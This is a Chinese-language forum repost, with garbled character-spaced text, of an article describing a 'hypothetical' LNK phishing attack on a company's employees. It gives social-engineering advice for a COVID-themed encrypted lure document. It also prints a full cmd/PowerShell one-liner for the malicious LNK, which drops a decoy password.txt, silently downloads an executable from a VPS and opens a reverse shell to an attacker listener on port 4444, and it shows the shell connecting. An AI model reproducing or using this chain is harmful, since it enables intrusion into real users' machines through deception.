搜索

[18356] 2021-05-23_一次假想的LNK钓鱼攻击

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-05-23_一次假想的LNK钓鱼攻击 一 次 假 想 的 L N K 钓 鱼 攻 击 X z n p u   H A C K 之 道   2 0 2 1 - 0 5 - 2 3 演 练 流 程 演 练 流 程 目 标 及 规 定 目 标 及 规 定 为 了 获 取 A 集 团 的 资 料 信 息 ， 但 目 标 w e b 网 站 防 护 很 好 ， 现 在 收 集 了 A 集 团 一 些 员 工 的 邮 箱 ， 只 能 通 过 钓 鱼 进 行 攻 击 。 工 具 工 具 由 于 这 是 一 次 隐 蔽 的 行 动 ， 所 有 工 具 尽 可 能 的 使 用 敌 对 开 源 软 件 。 来 自 某 国 的 开 源 软 件 ： L a d o n 、 一 份 加 密 的 有 关 新 冠 疫 苗 的 文 档 、 以 及 用 来 释 放 L a d o n 的 L N K 文 件 。 攻 击 流 程 图 攻 击 流 程 图 实 施 实 施 制 作 加 密 文 档 制 作 加 密 文 档 文 档 主 题 根 据 目 标 公 司 性 质 来 决 定 ， 如 果 是 进 行 广 撒 网 式 的 攻 击 ， 可 以 选 择 当 地 国 家 / 地 区 热 点 事 件 ， 比 如 新 冠 疫 苗 X X X X , 这 里 我 采 用 的 是 最 新 最 新 ! 持 持 核 酸 检 测 核 酸 检 测 阴 性 结 果 返 乡 不 需 要 阴 性 结 果 返 乡 不 需 要 隔 离 隔 离 ， 不 需 要 去 写 什 么 密 码 提 示 ， 比 如 查 看 ， 不 需 要 去 写 什 么 密 码 提 示 ， 比 如 查 看 p a s w o r d . t x t 之 类 之 类 的 ， 这 很 容 易 引 起 怀 疑 ， 按 照 惯 性 ， 他 的 ， 这 很 容 易 引 起 怀 疑 ， 按 照 惯 性 ， 他 / 她 看 见 有 密 码 会 下 意 识 去 点 击 我 们 的 她 看 见 有 密 码 会 下 意 识 去 点 击 我 们 的 L N K 文 件 文 件
L N K 文 件 制 作 文 件 制 作 L N K 文 件 最 核 心 的 代 码 是 这 个 上 面 这 一 串 c m d 命 令 的 意 思 是 把 “ h e l l o " 写 入 D : t e s t 1 p a s s w o r d . t x t ， 并 打 开 这 个 文 件 ， 然 后 从 v p s 服 务 器 上 下 载 a . e x e 到 D : t e s t 1 目 录 下 命 名 为 n c . e x e ， 最 后 执 行 n c . e x e   R e v e r s e T c p   v p s   4 4 4 4   n c   反 弹 s h e l l 到 我 的 v p s   监 听 n c 上 。 最 后 把 这 两 个 文 件 打 包 即 可 。 # a . e x e 即 是 L a d o n c m d . e x e   / c   ( e c h o   ” h e l l o “   > D : t e s t 1 p a s s w o r d . t x t   &   s t a r t   / b   D : t e s t 1 p a s s w o r d . t x t )   &   ( p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   i w r   - o u t f   D : t e s t 1 n c . e x e   h t t p : / / v p s / d o w n l o a d / a . e x e   &   D : t e s t 1 n c . e x e   R e v e r s e T c p   1 9 2 . 1 6 8 . 1 2 . 2 0 1   4 4 4 4   n c )
模 拟 目 标 行 为 模 拟 目 标 行 为 点 击 p a s s w o r d . t x t 会 释 放 n c . e x e 和 p a s s w o r d . t x t 到 D : t e s t 1 查 看 我 们 的 监 听 可 以 看 到 已 经 上 线 了 。
作 者 ： X z n p u ， 文 章 来 源 ： 先 知 社 区 点 击 上 方 ， 关 注 公 众 号 点 击 上 方 ， 关 注 公 众 号 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ” 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理